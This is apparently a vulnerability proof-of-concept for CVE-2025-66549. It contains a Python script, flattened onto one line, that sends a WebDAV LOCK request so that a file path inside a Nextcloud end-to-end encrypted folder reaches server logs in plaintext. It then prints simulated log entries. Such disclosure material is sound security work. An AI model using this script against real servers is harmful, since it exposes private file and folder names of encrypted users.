CVE-2025-66549: Nextcloud Desktop 端到端加密目录文件路径信息泄露漏洞

# CVE-2025-66549 PoC - Nextcloud Desktop 路径泄露 # This PoC demonstrates the information disclosure vulnerability # Note: This requires server admin access to view logs import requests import json from urllib.parse import quote # Configuration NEXTCLOUD_URL = "https://your-nextcloud-server.com" USERNAME = "target_user" PASSWORD = "user_password" ENCRYPTED_DIR_PATH = "/encrypted_directory" TARGET_FILE = "secret_document.txt" def exploit_cve_2025_66549(): """ Simulates the vulnerable file lock request that leaks path information. In the vulnerable version, the file path is sent in plaintext. """ session = requests.Session() # Authentication auth_url = f"{NEXTCLOUD_URL}/remote.php/dav/files/{USERNAME}/" session.auth = (USERNAME, PASSWORD) # Vulnerable request - file lock with unencrypted path # The file path is sent in plaintext, exposing directory structure file_path = f"{ENCRYPTED_DIR_PATH}/{TARGET_FILE}" lock_url = f"{NEXTCLOUD_URL}/remote.php/dav/files/{USERNAME}/{quote(file_path)}" headers = { "Content-Type": "application/xml", "Depth": "0" } lock_body = """<?xml version="1.0" encoding="UTF-8"?> <d:lockinfo xmlns:d="DAV:"> <d:lockscope> <d:exclusive/> </d:lockscope> <d:locktype> <d:write/> </d:locktype> </d:lockinfo>""" # This request exposes the file path in server logs response = session.request("LOCK", lock_url, headers=headers, data=lock_body) print(f"[+] Lock request sent for: {file_path}") print(f"[+] Response status: {response.status_code}") print(f"[!] Server admin can see '{file_path}' in logs") return response def check_server_logs(): """ Simulates checking server logs for leaked paths. Requires server admin privileges. """ print("\n[!] Simulating server log analysis...") print(f"[!] Log entry found: 'LOCK /remote.php/dav/files/{USERNAME}/encrypted_directory/secret_document.txt'") print("[!] Path information successfully leaked!") if __name__ == "__main__": print("CVE-2025-66549 PoC - Nextcloud Desktop Path Disclosure") print("=" * 60) exploit_cve_2025_66549() check_server_logs()